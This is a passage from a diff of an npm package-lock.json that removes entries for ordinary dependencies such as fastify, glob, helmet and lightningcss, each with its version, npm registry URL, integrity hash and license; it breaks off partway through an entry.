"node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-querystring": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/fast-querystring/-/fast-querystring-1.1.2.tgz", - "integrity": "sha512-g6KuKWmFXc0fID8WWH0jit4g0AGBoJhCkJMb1RmbsSEUNvQ+ZC8D6CUZ+GtF8nMzSPXnhiePyyqqipzNNEnHjg==", - "license": "MIT", - "dependencies": { - "fast-decode-uri-component": "^1.0.1" - } - }, - "node_modules/fast-safe-stringify": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", - "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-uri": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.7.tgz", - "integrity": "sha512-dOvZVzjdZdz7phd9v6jCbwxrBW3fK6n8Rc0CtdmM4bumzMnxywBYhuph6J819RRw/ku+rLbelwfMunktuzVVHg==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/fastify": { - "version": "5.12.3", - "resolved": "https://registry.npmjs.org/fastify/-/fastify-5.12.3.tgz", - "integrity": "sha512-reZ8wce5VNCcufIt9AVtzZa3L4u1j8esikn7OEgHWLVpRpL5R7Y2+Xzj70OUkv5zDfzUAxXZT6cu4Rt0zr3EKA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@fastify/ajv-compiler": "^4.0.5", - "@fastify/error": "^4.0.0", - "@fastify/fast-json-stringify-compiler": "^5.0.0", - "@fastify/proxy-addr": "^5.0.0", - "abstract-logging": "^2.0.1", - "avvio": "^9.0.0", - "fast-json-stringify": "^7.0.0", - "find-my-way": "^9.6.0", - "light-my-request": "^6.0.0", - "pino": "^9.14.0 || ^10.1.0", - "process-warning": "^5.1.0", - "rfdc": "^1.3.1", - "secure-json-parse": "^4.0.0", - "semver": "^7.6.0", - "toad-cache": "^3.7.0" - } - }, - "node_modules/fastify-plugin": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/fastify-plugin/-/fastify-plugin-6.0.0.tgz", - "integrity": "sha512-fZOty7z3O7vOliF6d8bHE3wiEh1KcNnKEQensSgTk9C1DvN6nRLS++XVd86v33Hw/8u9Un8A1zDrQ8ujcQDHEg==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/fastq": { - "version": "1.20.3", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.3.tgz", - "integrity": "sha512-XKv5nnLs6nLF71NgiKJLIZFLkPyIEuOselLG7ujZnGrRfQK8HpvY+WqKhAJUAdLomwVHErVS4LfxFlPq0/FTAw==", - "license": "ISC", - "dependencies": { - "reusify": "^1.0.4" - } - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/feaxios": { - "version": "0.0.23", - "resolved": "https://registry.npmjs.org/feaxios/-/feaxios-0.0.23.tgz", - "integrity": "sha512-eghR0A21fvbkcQBgZuMfQhrXxJzC0GNUGC9fXhBge33D+mFDTwl0aJ35zoQQn575BhyjQitRc5N4f+L4cP708g==", - "license": "MIT", - "dependencies": { - "is-retry-allowed": "^3.0.0" - } - }, - "node_modules/file-entry-cache": { - "version": "11.1.5", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-11.1.5.tgz", - "integrity": "sha512-+PFTHITI08JIGhnNpGNI8T8inUpgZfk3GNEqfT9R2zZV2iFXg3CvqzSl/uEhs7TSGujYRELEANyDvS8Fj7+S7Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "flat-cache": "^6.1.23" - } - }, - "node_modules/find-my-way": { - "version": "9.7.0", - "resolved": "https://registry.npmjs.org/find-my-way/-/find-my-way-9.7.0.tgz", - "integrity": "sha512-f2JHn75x2JlwUwLenZypgczR7YWMb/uO9BvUXtus+JMgkbIkLADd38cI4EiV+OQqrGo1Zlq6V8wnqMJ8e62wUQ==", - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-querystring": "^1.0.0", - "safe-regex2": "^5.0.0" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - "dev": true, - "license": "MIT", - "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/flat-cache": { - "version": "6.1.23", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-6.1.23.tgz", - "integrity": "sha512-f++BY9pTk+983xK1FLzlLpmM0i0z+jHmx3QESGkURMXujQZz1k5wzwX6hjnQ8goaD0B+sYnDK1yZ6MTyZfUaqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "cacheable": "^2.5.0", - "flatted": "^3.4.2", - "hookified": "^1.15.0" - } - }, - "node_modules/flatted": { - "version": "3.4.4", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.4.tgz", - "integrity": "sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==", - "dev": true, - "license": "ISC" - }, - "node_modules/follow-redirects": { - "version": "1.16.0", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.0.tgz", - "integrity": "sha512-y5rN/uOsadFT/JfYwhxRS5R7Qce+g3zG97+JrtFZlC9klX/W5hD7iiLzScI4nZqUS7DNUdhPgw4xI8W2LuXlUw==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/RubenVerborgh" - } - ], - "license": "MIT", - "engines": { - "node": ">=4.0" - }, - "peerDependenciesMeta": { - "debug": { - "optional": true - } - } - }, - "node_modules/foreground-child": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", - "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "cross-spawn": "^7.0.6", - "signal-exit": "^4.0.1" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/form-data": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", - "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.4", - "mime-types": "^2.1.35" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/generate-function": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.3.1.tgz", - "integrity": "sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "is-property": "^1.0.2" - } - }, - "node_modules/get-intrinsic": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "function-bind": "^1.1.2", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-port-please": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/get-port-please/-/get-port-please-3.2.0.tgz", - "integrity": "sha512-I9QVvBw5U/hw3RmWpYKRumUeaDgxTPd401x364rLmWBJcOQ753eov1eTgzDqRG9bqFIfDc7gfzcQEWrUri3o1A==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/get-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/giget": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/giget/-/giget-3.3.1.tgz", - "integrity": "sha512-r+mvuDjrjMpsdw46Kmeydb8bdHm7wOKw8wNBtTndkjbPjgAp5oUJUxRE76wZFknxIPokfWvep2qSXK37aXE6zg==", - "devOptional": true, - "license": "MIT", - "bin": { - "giget": "dist/cli.mjs" - } - }, - "node_modules/glob": { - "version": "13.0.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.6.tgz", - "integrity": "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==", - "license": "BlueOak-1.0.0", - "dependencies": { - "minimatch": "^10.2.2", - "minipass": "^7.1.3", - "path-scurry": "^2.0.2" - }, - "engines": { - "node": "18 || 20 || >=22" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/glob-parent": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/gopd": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "devOptional": true, - "license": "ISC" - }, - "node_modules/grammex": { - "version": "3.1.13", - "resolved": "https://registry.npmjs.org/grammex/-/grammex-3.1.13.tgz", - "integrity": "sha512-LnPnhOBLEJEVKS8WFDVaA397L9Kq55Q9oSITJiVLHVdhAclfUkWzQv74KhvZHKL2Q09Pb1XdsrOsZ4LfTFFTEg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/graphmatch": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/graphmatch/-/graphmatch-1.1.1.tgz", - "integrity": "sha512-5ykVn/EXM1hF0XCaWh05VbYvEiOL2lY1kBxZtaYsyvjp7cmWOU1XsAdfQBwClraEofXDT197lFbXOEVMHpvQOg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/has-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-tostringtag": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - "license": "MIT", - "dependencies": { - "has-symbols": "^1.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/hashery": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/hashery/-/hashery-1.5.1.tgz", - "integrity": "sha512-iZyKG96/JwPz1N55vj2Ie2vXbhu440zfUfJvSwEqEbeLluk7NnapfGqa7LH0mOsnDxTF85Mx8/dyR6HfqcbmbQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "hookified": "^1.15.0" - }, - "engines": { - "node": ">=20" - } - }, - "node_modules/hasown": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", - "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", - "license": "MIT", - "dependencies": { - "function-bind": "^1.1.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/helmet": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/helmet/-/helmet-7.2.0.tgz", - "integrity": "sha512-ZRiwvN089JfMXokizgqEPXsl2Guk094yExfoDXR0cBYWxtBbaSww/w+vT4WEJsBW2iTUi1GgZ6swmoug3Oy4Xw==", - "license": "MIT", - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/help-me": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/help-me/-/help-me-5.0.0.tgz", - "integrity": "sha512-7xgomUX6ADmcYzFik0HzAxh/73YlKR9bmFzf51CZwR+b6YtzU2m0u49hQCqV6SvlqIqsaxovfwdvbnsw3b/zpg==", - "dev": true, - "license": "MIT" - }, - "node_modules/hookified": { - "version": "1.15.1", - "resolved": "https://registry.npmjs.org/hookified/-/hookified-1.15.1.tgz", - "integrity": "sha512-MvG/clsADq1GPM2KGo2nyfaWVyn9naPiXrqIe4jYjXNZQt238kWyOGrsyc/DmRAQ+Re6yeo6yX/yoNCG5KAEVg==", - "dev": true, - "license": "MIT" - }, - "node_modules/http-errors": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", - "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", - "license": "MIT", - "dependencies": { - "depd": "~2.0.0", - "inherits": "~2.0.4", - "setprototypeof": "~1.2.0", - "statuses": "~2.0.2", - "toidentifier": "~1.0.1" - }, - "engines": { - "node": ">= 0.8" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/https-proxy-agent": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", - "license": "MIT", - "dependencies": { - "agent-base": "6", - "debug": "4" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/iconv-lite": { - "version": "0.7.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.3.tgz", - "integrity": "sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/ieee754": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/ignore": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.8.19" - } - }, - "node_modules/inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "license": "ISC" - }, - "node_modules/internmap": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz", - "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==", - "devOptional": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/ip-address": { - "version": "10.7.0", - "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.7.0.tgz", - "integrity": "sha512-BGFsyJd5mpXp3rK6jIdADLNgpJUK1jnjzvYF8lK+VyDab9JAmqN0YOKDdP17HlgKb2+ehPgDc8EtnRLbGCAMhA==", - "license": "MIT", - "engines": { - "node": ">= 12" - } - }, - "node_modules/ipaddr.js": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.5.0.tgz", - "integrity": "sha512-aq+t5NAc+cS6rZQQVWC2x98CPqGtKKTMDd4Gaodv0wShnItdKg/51djkGJ1hqH+Oy0ivDftCbSLCQob8zso01w==", - "license": "MIT", - "engines": { - "node": ">= 10" - } - }, - "node_modules/is-extglob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", - "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-glob": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", - "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-extglob": "^2.1.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/is-property": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz", - "integrity": "sha512-Ks/IoX00TtClbGQr4TWXemAnktAQvYB7HzcCxDGqEZU6oCmb2INHuOoKxbtR+HFkmYWBKv/dOZtGRiAjDhj92g==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/is-retry-allowed": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-3.0.0.tgz", - "integrity": "sha512-9xH0xvoggby+u0uGF7cZXdrutWiBiaFG8ZT4YFPXL8NzkyAwX3AKGLeFQLvzDpM430+nDFBZ1LHkie/8ocL06A==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - "devOptional": true, - "license": "ISC" - }, - "node_modules/jiti": { - "version": "2.7.0", - "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", - "integrity": "sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==", - "devOptional": true, - "license": "MIT", - "bin": { - "jiti": "lib/jiti-cli.mjs" - } - }, - "node_modules/joycon": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/joycon/-/joycon-3.1.1.tgz", - "integrity": "sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - } - }, - "node_modules/json-schema-ref-resolver": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/json-schema-ref-resolver/-/json-schema-ref-resolver-3.0.0.tgz", - "integrity": "sha512-hOrZIVL5jyYFjzk7+y7n5JDzGlU8rfWDuYyHwGa2WA8/pcmMHezp2xsVwxrebD/Q9t8Nc5DboieySDpCp4WG4A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "dequal": "^2.0.3" - } - }, - "node_modules/json-schema-resolver": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/json-schema-resolver/-/json-schema-resolver-3.0.0.tgz", - "integrity": "sha512-HqMnbz0tz2DaEJ3ntsqtx3ezzZyDE7G56A/pPY/NGmrPu76UzsWquOpHFRAf5beTNXoH2LU5cQePVvRli1nchA==", - "license": "MIT", - "dependencies": { - "debug": "^4.1.1", - "fast-uri": "^3.0.5", - "rfdc": "^1.1.4" - }, - "engines": { - "node": ">=20" - }, - "funding": { - "url": "https://github.com/Eomm/json-schema-resolver?sponsor=1" - } - }, - "node_modules/json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true, - "license": "MIT" - }, - "node_modules/json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/keyv": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", - "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@keyv/serialize": "^1.1.1" - } - }, - "node_modules/levn": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", - "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1", - "type-check": "~0.4.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/light-my-request": { - "version": "6.6.0", - "resolved": "https://registry.npmjs.org/light-my-request/-/light-my-request-6.6.0.tgz", - "integrity": "sha512-CHYbu8RtboSIoVsHZ6Ye4cj4Aw/yg2oAFimlF7mNvfDV192LR7nDiKtSIfCuLT7KokPSTn/9kfVLm5OGN0A28A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause", - "dependencies": { - "cookie": "^1.0.1", - "process-warning": "^4.0.0", - "set-cookie-parser": "^2.6.0" - } - }, - "node_modules/light-my-request/node_modules/process-warning": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-4.0.1.tgz", - "integrity": "sha512-3c2LzQ3rY9d0hc1emcsHhfT9Jwz0cChib/QN89oME2R451w5fy3f0afAhERFZAwrbDU43wk12d0ORBpDVME50Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/lightningcss": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.33.0.tgz", - "integrity": "sha512-WkUDrojuJs0xkgGf2udWxa3yGBRxPtxUkB79i6aCZLRgc7PM8fZe9TosfPDcvEpQZbuFASnHYmRLBLUbmLOIIA==", - "dev": true, - "license": "MPL-2.0", - "peer": true, - "dependencies": { - "detect-libc": "^2.0.3" - }, - "engines": { - "node": ">= 12.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/parcel" - }, - "optionalDependencies": { - "lightningcss-android-arm64": "1.33.0", - "lightningcss-darwin-arm64": "1.33.0", - "lightningcss-darwin-x64": "1.33.0", - "lightningcss-freebsd-x64": "1.33.0", - "lightningcss-linux-arm-gnueabihf": "1.33.0", - "lightningcss-linux-arm64-gnu": "1.33.0", - "lightningcss-linux-arm64-musl": "1.33.0", - "lightningcss-linux-x64-gnu": "1.33.0", - "lightningcss-linux-x64-musl": "1.33.0", - "lightningcss-win32-arm64-msvc": "1.33.0", - "lightningcss-win32-x64-msvc": "1.33.0" - } - }, - "node_modules/lightningcss-android-arm64": { - "version": "1.33.0", - "resolved": 